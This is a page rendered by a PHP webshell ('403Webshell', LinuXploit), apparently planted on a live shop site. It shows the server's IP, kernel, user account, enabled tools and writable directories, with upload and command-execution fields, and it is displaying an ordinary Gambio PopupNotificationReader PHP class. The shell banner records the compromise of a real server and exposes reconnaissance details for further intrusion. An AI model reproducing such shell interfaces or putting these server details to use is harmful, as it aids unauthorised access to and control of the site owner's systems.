403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/classes/notifications/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/classes/notifications/PopupNotificationReader.inc.php
<?php
/* --------------------------------------------------------------
   PopupNotificationReader.inc.php 2014-10-08 gm
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2014 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

/**
 * Class PopupNotificationReader
 */
class PopupNotificationReader
{
	/**
	 * @return PopupNotification
	 */
	public function getPopupNotification()
	{
		$mysqlResult = xtc_db_query($this->_getQuery());

		/* @var PopupNotification $popupNotification */
		$popupNotification = $this->_createPopupNotificationByResultSet($mysqlResult);
		$this->_setPopupNotificationActiveStatus($popupNotification, (gm_get_conf('POPUP_NOTIFICATION_STATUS') ? true : false));

		return $popupNotification;
	}


	/**
	 * @param PopupNotification $popupNotification
	 * @param bool               $p_is_active
	 */
	protected function _setPopupNotificationActiveStatus(PopupNotification $popupNotification, $p_is_active)
	{
		$popupNotification->setActive($p_is_active);
	}


	/**
	 * @param $p_mysqlResult
	 *
	 * @return PopupNotification
	 * @throws UnexpectedValueException
	 */
	protected function _createPopupNotificationByResultSet($p_mysqlResult)
	{
		if($p_mysqlResult !== false)
		{
			/** @var PopupNotification $popupNotification */
			$popupNotification = MainFactory::create_object('PopupNotification');

			while($row = xtc_db_fetch_array($p_mysqlResult))
			{
				$popupNotification->setId($row['shop_notice_id']);
				$popupNotification->setContentByLanguageId($row['content'], $row['language_id']);
			}
		}
		else
		{
			throw new UnexpectedValueException('$p_mysqlResult is not a valid mysql resource');
		}

		return $popupNotification;
	}


	/**
	 * @return string
	 */
	protected function _getQuery()
	{
		$query = 'SELECT 
						a.shop_notice_id,
						b.language_id,
						b.content
					FROM
						shop_notices a,
						shop_notice_contents b
					WHERE 
						a.shop_notice_id = b.shop_notice_id AND
						a.notice_type = "popup"';

		return $query;
	}
} 

Youez - 2016 - github.com/yon3zu
LinuXploit